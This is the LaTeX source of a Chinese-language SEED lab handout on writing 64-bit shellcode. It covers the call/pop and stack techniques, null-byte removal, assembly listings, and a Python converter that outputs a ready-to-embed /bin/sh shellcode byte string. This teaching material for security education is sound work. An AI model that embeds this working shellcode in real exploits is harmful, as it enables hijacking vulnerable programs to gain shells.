%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  Copyright by Wenliang Du.                                       %%
%%  This work is licensed under the Creative Commons                %%
%%  Attribution-NonCommercial-ShareAlike 4.0 International License. %%
%%  To view a copy of this license, visit                           %%
%%  http://creativecommons.org/licenses/by-nc-sa/4.0/.              %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\newcommand{\commonfolder}{../../common-files}

\input{\commonfolder/header}
\input{\commonfolder/copyright}


\newcommand{\gdb}{\texttt{gdb}\xspace} 

\lhead{\bfseries SEED 实验 -- Shellcode 开发实验}

\begin{document}

\begin{center}
{\LARGE Shellcode 开发实验}
\end{center}

\seedlabcopyright{2020}



% *******************************************
% SECTION
% ******************************************* 
\section{概述}

Shellcode 在涉及代码注入的许多攻击中被广泛使用。编写 Shellcode 是一项具有挑战性的任务。虽然我们可以从互联网上找到现成的 Shellcode，但在有些情况下我们还是需要编写满足特定要求的 Shellcode。此外，从头开始编写自己的 Shellcode 能学到一些有趣的技术。本实验旨在帮助学生理解这些技术，从而能够编写自己的 Shellcode。

编写 Shellcode 有几个挑战，一个是确保二进制代码中没有零，另一个是找到命令中使用的数据的地址。第一个挑战并不难解决，有几种方法。针对第二个挑战的解决方案导致了两种典型的方法来编写 Shellcode。在第一种方法中，数据在执行期间被推入栈中，因此可以从栈指针获取它们的地址。在第二种方法中，数据存储在代码区域，就在 \texttt{call} 指令之后。当执行 \texttt{call} 指令时，数据的地址被当作返回地址并推入栈中。这两种解决方案都非常有意思，我们希望学生能学习这两种技术。本实验涵盖以下主题：

\begin{itemize}[noitemsep]
\item Shellcode
\item 汇编代码
\item 反汇编
\end{itemize}


\paragraph{阅读材料和视频。}
关于 Shellcode 的详细内容可以在以下资源中找到：

\begin{itemize}
\item SEED 书，\seedbook
\item SEED Lecture 第 30 讲第 4 节，\seedcsvideo
\end{itemize}


\paragraph{实验环境。} \seedenvironmentC


% *******************************************
% SECTION
% *******************************************
\section{任务 1：编写汇编代码} 

为了直接控制 Shellcode 中要使用的指令，编写 Shellcode 的最佳方式是使用汇编语言。在本任务中，我们将使用一个示例程序来熟悉开发环境。

不同计算机架构的汇编语言有所不同。在本任务中，示例代码 (\texttt{hello.s}) 针对的是 amd64（64 位）架构。代码包含在 \texttt{Labsetup} 文件夹中。使用 Apple 芯片的学生可以在 \texttt{Labsetup/arm} 文件夹中找到适用于 arm 架构的示例代码。

\begin{lstlisting}[caption={一个 amd64 架构的汇编程序示例 (\texttt{hello.s})}]
global _start

section .text

_start:
  mov rdi, 1        ; 标准输出
  mov rsi, msg      ; 消息的地址
  mov rdx, 15       ; 消息的长度
  mov rax, 1        ; write() 系统调用的编号
  syscall           ; 调用 write(1, msg, 15)

  mov rdi, 0        ;
  mov rax, 60       ; exit() 系统调用的编号
  syscall           ; 调用 exit(0)

section .rodata
  msg: db "Hello, world!", 10
\end{lstlisting}
 
 

\paragraph{编译成目标代码。}
我们使用 \texttt{nasm} 编译上述汇编代码，它是 Intel x86 和 x64 架构的汇编和反汇编工具。
对于 arm64 架构，对应的工具是 \texttt{as}。选项
\texttt{-f elf64} 表示我们希望将代码编译为 64 位 ELF 二进制格式。可执行和可链接格式（ELF）是一个常见的可执行文件、目标代码和共享库的标准文件格式。对于 32 位汇编代码，应使用 \texttt{elf32}。

\begin{lstlisting}
// 针对 amd64
$ nasm -f elf64 hello.s -o hello.o  

// 针对 arm64
$ as  -o hello.o hello.s 
\end{lstlisting}

\paragraph{链接生成最终的二进制文件。}
获得目标代码 \texttt{hello.o} 后，如果希望生成可执行二进制文件，可以运行链接器程序 \texttt{ld}，这是编译的最后一步。
完成此步骤后，我们获得最终的可执行代码 \texttt{hello}。
运行它时，会打印出 \texttt{"Hello, world!"}。

\begin{lstlisting}
// 适用于 amd64 和 arm64
$ ld hello.o -o hello
$ ./hello  
Hello, world!
\end{lstlisting}



\paragraph{获取机器代码。}
在大多数攻击中，我们只需要 Shellcode 的机器代码，而不需要包含其他数据的可执行文件。从技术上将，只有机器代码才被称为 Shellcode。因此，我们需要从可执行文件或目标文件中提取机器代码。有多种方法可以实现这一点。一种方法是使用 \texttt{objdump} 命令反汇编可执行文件或目标文件。

对于 amd64，汇编代码有两种常见的语法模式：AT\&T 语法模式和 Intel 语法模式。默认情况下，\texttt{objdump} 使用 AT\&T 模式。以下示例中，我们使用 \texttt{-Mintel} 选项生成 Intel 模式的汇编代码。

\begin{lstlisting}
$ objdump -Mintel -d hello.o
hello.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <_start>:
   0:	bf 01 00 00 00       	mov    edi,0x1
   5:	48 be 00 00 00 00 00 	movabs rsi,0x0
   c:	00 00 00 
   f:	ba 0f 00 00 00       	mov    edx,0xf
  14:	b8 01 00 00 00       	mov    eax,0x1
  19:	0f 05                	syscall 
  1b:	bf 00 00 00 00       	mov    edi,0x0
  20:	b8 3c 00 00 00       	mov    eax,0x3c
  25:	0f 05                	syscall 
\end{lstlisting}
 
在上述输出中，冒号后的数字是机器代码。
您还可以使用 \texttt{xxd} 命令打印二进制文件的内容，应该能从输出中找到 Shellcode 的机器代码。

\begin{lstlisting}
$ xxd -p -c 20 hello.o
7f454c4602010100000000000000000001003e00
...
000000001800000000000000(*@\textbf{bf0100000048be00}@*)
(*@\textbf{00000000000000ba0f000000b8010000000f05bf}@*)
(*@\textbf{00000000b83c0000000f05}@*)000000000000000000
...
\end{lstlisting}
 


\paragraph{任务。} 您的任务是完成整个过程：编译并运行示例代码，然后从二进制文件中提取机器代码。


% *******************************************
% SECTION
% *******************************************
\section{任务 2：编写 Shellcode（方法 1）} 

Shellcode 的主要目的是运行一个 shell 程序，例如 \texttt{/bin/sh}。
在 Ubuntu 操作系统中，这可以通过调用 \texttt{execve()} 系统调用来实现。

\begin{lstlisting}
execve("/bin/sh", argv[], 0)
\end{lstlisting}

我们需要为该系统调用传递三个参数：
在 amd64 架构中，它们通过 \texttt{rdi}, \texttt{rsi} 和 \texttt{rdx} 寄存器传递。
在 arm64 架构中，它们通过 \texttt{x0}, \texttt{x1}, 和 \texttt{x2} 寄存器传递。
伪代码如下所示：

\begin{lstlisting}
// 针对 amd64 架构
 Let rdi = address of the "/bin/sh" string
 Let rsi = address of the argv[] array
 Let rdx = 0

 Let rax = 59    // 59 是 execve 的系统调用号
 syscall         // 调用 execve()

// 针对 arm64 架构
 Let x0  = address of the "/bin/sh" string
 Let x1  = address of the argv[] array
 Let x2  = 0

 Let x8 =  221   // 221 是 execve 的系统调用号
 svc 0x1337      // 调用 execve()
\end{lstlisting}

编写 shellcode 的主要挑战是如何获取 \texttt{"/bin/sh"} 字符串的地址以及 \texttt{argv[]} 数组的地址。通常有两种典型的方法：

\begin{itemize}
\item 方法 1：将字符串和数组存储在代码段中，然后使用指向代码段的 PC 寄存器获取它们的地址。本任务中我们关注这种方法。

\item 方法 2：在栈上动态构造字符串和数组，然后使用栈指针寄存器获取它们的地址。我们将在下一任务中关注这种方法。
\end{itemize}

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{任务 2.a. 理解代码} 

我们提供了一个示例 shellcode。以下代码针对 amd64 架构。代码也可以在 \texttt{Labsetup} 文件夹中找到。
如果你在 Apple 机器上完成本实验，可以在 \texttt{arm} 子文件夹中找到针对 arm64 的示例代码。

\begin{lstlisting}[caption=64 位 shellcode 示例(\texttt{mysh64.s})] 
section .text
  global _start
    _start:
       BITS 64
       jmp short two
    one:
       pop rbx             
       
       mov [rbx+8],  rbx  ; 将 rbx 存储到内存地址 rbx + 8
       mov rax, 0x00      ; rax = 0
       mov [rbx+16], rax  ; 将 rax 存储到内存地址 rbx + 16
       
       mov rdi, rbx       ; rdi = rbx        (*@\lineone@*) 
       lea rsi, [rbx+8]   ; rsi = rbx +8     (*@\linetwo@*)  
       mov rdx, 0x00      ; rdx = 0
       mov rax, 59        ; rax = 59
       syscall
    two:
       call one                                                                   
       db '/bin/sh', 0 ; 命令字符串（以零终止）  (*@\linethree@*) 
       db 'AAAAAAAA'   ; argv[0] 的占位符 
       db 'BBBBBBBB'   ; argv[1] 的占位符
\end{lstlisting}

上述代码首先跳转到 \texttt{two} 位置的指令，而该指令又跳转到 \texttt{one} 位置，但这次使用了 \texttt{call} 指令。
此指令用于函数调用，即在跳转到目标位置之前，它将下一条指令的地址（即返回地址）
保存到栈顶，这样函数返回时可以返回到 \texttt{call} 指令之后的指令。

在这个例子中，\texttt{call} 指令之后的“指令”实际上不是一条指令，而是存储了一个字符串。
\texttt{call} 指令会将其地址（即字符串的地址）压入栈中，作为函数的返回地址。
当我们跳转到 \texttt{one} 位置的函数后，栈顶存储的是返回地址。因此，\texttt{pop rbx} 指令实际上获取了位置 \linethree 的字符串地址，并将其保存到 \texttt{rbx} 寄存器中。这就是如何获取字符串地址的方法。

\paragraph{任务。} 请完成以下任务：

\begin{enumerate}
\item 编译并运行代码，验证是否可以获得一个 shell。使用 \texttt{-g} 选项启用调试信息，因为我们将对代码进行调试。

\begin{lstlisting}
// 针对 amd64
$ nasm -g -f elf64 -o mysh64.o mysh64.s 
$ ld --omagic -o mysh64 mysh64.o 

// 针对 arm64
$ as  -g -o mysh64.o mysh64.s
$ ld --omagic -o mysh64 mysh64.o
\end{lstlisting}

\textbf{注意.} 在运行链接器程序 \texttt{ld} 时，我们需要使用 \texttt{--omagic} 选项。
默认情况下，代码段是不可写的。当此程序运行时，它需要修改存储在代码区域的数据，如果代码段不可写，程序将崩溃。
这在实际攻击中不是问题，因为实际攻击中，代码通常被注入到可写的数据段（例如栈或堆）中。通常我们不会将 shellcode 作为独立程序运行。

\item 使用 \gdb 调试程序，展示程序如何获取 shell 字符串 \texttt{/bin/sh} 的地址。

\item 解释程序如何构造 \texttt{argv[]} 数组，并展示哪些代码行设置了 \texttt{argv[0]} 和 \texttt{argv[1]} 的值。

\item 解释第 \lineone 行和 \linetwo 行的真正含义。
\end{enumerate}

\paragraph{常用 \texttt{gdb} 命令.} 
以下是一些可能对本实验有用的 \gdb 命令。
如果需要了解其他 \gdb 命令，可以在 \gdb 内部键入 \texttt{help} 获取命令类别名称列表。
键入 \texttt{help} 加上类别名称，可以获取该类别中的命令列表。

\begin{lstlisting}
$ gdb mysh64

help          -- 打印帮助信息
break one     -- 在 "one" 处设置断点
run           -- 启动被调试程序。
step          -- 单步执行程序直到到达不同的源代码行。
print  $rbx   -- 打印 rbx 寄存器的值
x/40bx <addr> -- 打印内存地址 <addr> 的内容(40 字节)
x/40bx $rsp   -- 打印栈顶 40 字节的内容
x/5gx  $rsp   -- 打印栈顶 5 个双字（8 字节）的内容
quit          -- 退出 gdb 
\end{lstlisting}

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 2.b. 消除代码中的零}

Shellcode 广泛用于缓冲区溢出攻击。在许多情况下，漏洞是由字符串复制函数（例如 \texttt{strcpy()}）引起的。
对于这些字符串复制函数，零被视为字符串的结束。因此，如果 shellcode 中间包含零，字符串复制函数将无法复制零之后的内容，
攻击也无法成功。虽然不是所有漏洞都受零的影响，但零会限制 shellcode 的应用范围。

前一节提供的示例代码并不是真正的 shellcode，因为它包含几个零。请使用 \texttt{objdump} 命令获取 shellcode 的机器代码，并标记所有包含零的指令。

要消除这些零，你需要重写 \texttt{mysh64.s}，替换所有有问题的指令。
第 \ref{sec:zero} 节提供了一些消除零的方法。请展示修改后的 \texttt{mysh64.s} 并解释你是如何消除每个零的。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务 2.c. 运行更复杂的命令}

在 \texttt{mysh64.s} 中，我们构造了用于 \texttt{execve()} 系统调用的 \texttt{argv[]} 数组。由于我们的命令是 \texttt{/bin/sh}，没有任何命令行参数，因此 \texttt{argv} 数组只包含两个元素：第一个是指向命令字符串的指针，第二个是零。

在本任务中，我们需要运行以下命令，也就是说，我们希望使用 \texttt{execve()} 来执行以下命令，该命令使用 \texttt{/bin/bash} 来执行 \texttt{\"echo hello; ls -la\"} 指令。

\begin{lstlisting}
/bin/bash -c "echo hello; ls -la"
\end{lstlisting}

在此新命令中，\texttt{argv} 数组应包含以下四个元素，所有这些都需要在 shellcode 里构造。请修改 \texttt{mysh64.s} 并演示执行结果。与往常一样，您的 shellcode 中不能有任何零。

\begin{lstlisting}
argv[0] = "/bin/bash" 字符串的地址
argv[1] = "-c" 字符串的地址
argv[2] = "echo hello; ls -la" 命令字符串的地址
argv[3] = 0
\end{lstlisting}

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{任务 2.d. 传递环境变量}

\texttt{execve()} 系统调用的第三个参数是一个指向环境变量数组的指针，它允许我们向程序传递环境变量。在我们的示例程序中，我们向 \texttt{execve()} 传递了一个空指针，因此没有环境变量被传递给程序。

在本任务中，如果我们将 shellcode \texttt{mysh64.s} 中的命令 \texttt{\"/bin/sh\"} 替换为 \texttt{\"/usr/bin/env\"}，该命令用于打印出环境变量。您会发现，当我们运行我们的 shellcode 时，没有任何输出，因为我们的进程没有任何环境变量。

在本任务中，我们将编写一个名为 \texttt{myenv64.s} 的 shellcode。当此程序被执行时，它会执行 \texttt{\"/usr/bin/env\"} 命令，并打印出以下环境变量：

\begin{lstlisting}
$ ./myenv64
aaa=hello
bbb=world
ccc=hello world
\end{lstlisting}

要编写这样的 shellcode，我们需要构造一个环境变量数组，并在调用 \texttt{execve()} 之前，将该数组的地址存储到 \texttt{rdx} 寄存器中。构造此数组的方法与构造 \texttt{argv[]} 数组的方法完全相同。请参见以下内容：

\begin{lstlisting}
env[0] = \"aaa=hello\" 字符串的地址
env[1] = \"bbb=world\" 字符串的地址
env[2] = \"ccc=hello world\" 字符串的地址
env[3] = 0   // 0 标志数组的结束
\end{lstlisting}


% *******************************************
% SECTION
% *******************************************
\section{任务 3：编写 Shellcode（方法二）}

另一种获取 shell 字符串和 \texttt{argv[]} 数组的方法是动态地在栈上构造它们，然后使用栈指针寄存器获取它们的地址。
以下是使用这种方法的一个 amd64 示例。amd64 和 arm64 的代码都可以从 \texttt{Labsetup} 文件夹中找到。

代码中的注释给出了简要的解释，但如果学生想了解更详细的说明，可以参考 SEED 书中关于代码的完整说明。

\begin{lstlisting}[caption={使用栈方法的 Shellcode 示例（\texttt{another\_sh64.s}）}]
section .text
global _start
  _start:
    xor  rdx, rdx       ; rdx = 0
    push rdx            ; 将 0 压入栈中（用于字符串终止）
    mov rax,'/bin//sh'  
    push rax            ; 将字符串压入栈中
    mov rdi, rsp        ; rdi = 命令字符串的地址

    push rdx            ; 将 argv[1]=0 压入栈中
    push rdi            ; 将 argv[0] 压入栈中
    mov rsi, rsp        ; rsi = argv[] 数组的地址

    xor  rax, rax
    mov  al, 59         ; execve()
    syscall
\end{lstlisting}

我们可以使用以下命令将汇编代码编译成 64 位二进制代码：

\begin{lstlisting}
// 对于 amd64
$ nasm -f elf64 mysh_64.s -o mysh_64.o
$ ld mysh_64.o -o mysh_64

// 对于 arm64
$ as mysh_64.s -o mysh_64.o
$ ld mysh_64.o -o mysh_64
\end{lstlisting}

\paragraph{任务 3.a.}
代码示例展示了如何执行 \texttt{\"/bin/sh\"}。
在本任务中，我们需要修改 shellcode，使其能够执行下面列出的更复杂的 shell 命令。
请编写代码实现此目标。需要证明代码中没有零。

\begin{lstlisting}
/bin/bash -c "echo hello; ls -la"
\end{lstlisting}

\paragraph{任务 3.b.}
请比较本实验中的两种方法。你更喜欢哪一种？为什么？

% *******************************************
% SECTION
% *******************************************
\section{指南：去除零的方法}
\label{sec:zero}

有许多技术可以从 shellcode 中去除零。
本节讨论了一些可能对本实验有用的常见技术。
amd64 和 arm64 架构的除零技术基本思想相同，但指令不同，这里以 amd64 指令为例。
在 Apple 机器上工作的学生可以参考在线文档中的 arm64 指导：
\href{https://github.com/seed-labs/seed-labs/blob/master/category-software/Shellcode/arm/shellcode_arm64.md}{编写 ARM64 shellcode}。

\begin{itemize}
\item 如果我们想将零赋值给 \texttt{rax}，可以使用 \texttt{\"mov rax, 0\"}，
但这样做会在机器代码中产生零。
一种典型的解决方法是使用 \texttt{\"xor rax, rax\"}，即将 \texttt{rax} 自己与自己异或，结果是零，并将其存储到 \texttt{rax}。

\item 如果我们想将 \texttt{0x99} 存储到 \texttt{rax}。
不能直接使用 \texttt{\"mov rax, 0x99\"}，因为第二个操作数会扩展为 8 字节，
即 \texttt{0x0000000000000099}，包含七个零。
解决这个问题的方法是先将 \texttt{rax} 置零，然后将一字节数字 \texttt{0x99} 赋值给 \texttt{al} 寄存器，即 \texttt{eax} 寄存器的最低有效 8 位。

\begin{lstlisting}
xor rax, rax
mov al,  0x99
\end{lstlisting}

\item 另一种方法是使用移位。
同样，我们想将 \texttt{0x99} 存储到 \texttt{rax}。
首先将 \texttt{0xFFFFFFFFFFFF99} 存储到 \texttt{rax}。
然后左移该寄存器 56 位，这样
\texttt{rax} 中的值就变成了 \texttt{0x9900000000000000}。
然后再右移该寄存器 56 位，
最高的 56 位（7 字节）将被填充为 \texttt{0x00}，
\texttt{rax} 中的值会变成 \texttt{0x00000000000099}。

\begin{lstlisting}
mov  rax, 0xFFFFFFFFFFFFFF99
shl  rax, 56
shr  rax, 56
\end{lstlisting}

\item 字符串需要以零结尾，但如果我们使用下面代码的第一行定义字符串，代码中会包含一个零。
为了解决这个问题，我们使用第二行定义字符串，即在字符串末尾放置一个非零字节（\texttt{0xFF}）。

\begin{lstlisting}
db 'abcdef', 0x00 
db 'abcdef', 0xFF 
\end{lstlisting}

在获取字符串地址后，我们可以动态地将非零字节替换为 \texttt{0x00}。
假设我们已将字符串的地址保存到 \texttt{rbx}，
我们还知道字符串的长度（不包括零）为 6，
因此可以使用以下指令将 \texttt{0xFF} 替换为 \texttt{0x00}。

\begin{lstlisting}
xor al, al
mov [rbx+6], al
\end{lstlisting}

\end{itemize}

% *******************************************
% SECTION
% *******************************************
\section{提交}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/submission}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


% *******************************************
% SECTION
% *******************************************
\appendix
\section{在攻击代码中使用Shellcode}

在实际攻击中，我们需要将Shellcode嵌入到攻击代码中，例如Python或C程序中。通常，我们会将机器码存储在一个数组中，但将上述机器码转换为Python或C程序中的数组赋值，如果手动完成会非常繁琐，尤其是在实验中需要多次执行该过程时。为简化这一过程，我们编写了以下Python代码来帮助完成此任务。只需将从\texttt{xxd}命令获取的内容（仅限于Shellcode部分）复制并粘贴到以下代码中，用\texttt{""" }标记的行之间。可以从实验的官方网站下载该代码。

\begin{lstlisting}[caption=\texttt{convert.py}] 
#!/usr/bin/env python3

# 运行 "xxd -p -c 20 mysh.o"，然后
# 将机器码部分复制粘贴到以下位置：
ori_sh ="""
31db31c0b0d5cd80
31c050682f2f7368682f62696e89e3505389e131
d231c0b00bcd80
"""

sh = ori_sh.replace("\n", "")

length  = int(len(sh)/2)
print("Length of the shellcode: {}".format(length))
s = 'shellcode= (\n' + '   "'
for i in range(length):
    s += "\\x" + sh[2*i] + sh[2*i+1]
    if i > 0 and i % 16 == 15:
       s += '"\n' + '   "'
s += '"\n' + ").encode('latin-1')"
print(s)
\end{lstlisting}
 
运行 \texttt{convert.py} 程序后，将输出以下 Python 代码，可直接在攻击代码中使用。它将shellcode 存储在一个Python数组中。

\begin{lstlisting}
$ ./convert.py
Length of the shellcode: 35
shellcode= (
   "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
   "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0"
   "\x0b\xcd\x80"
).encode('latin-1')
\end{lstlisting}


\end{document}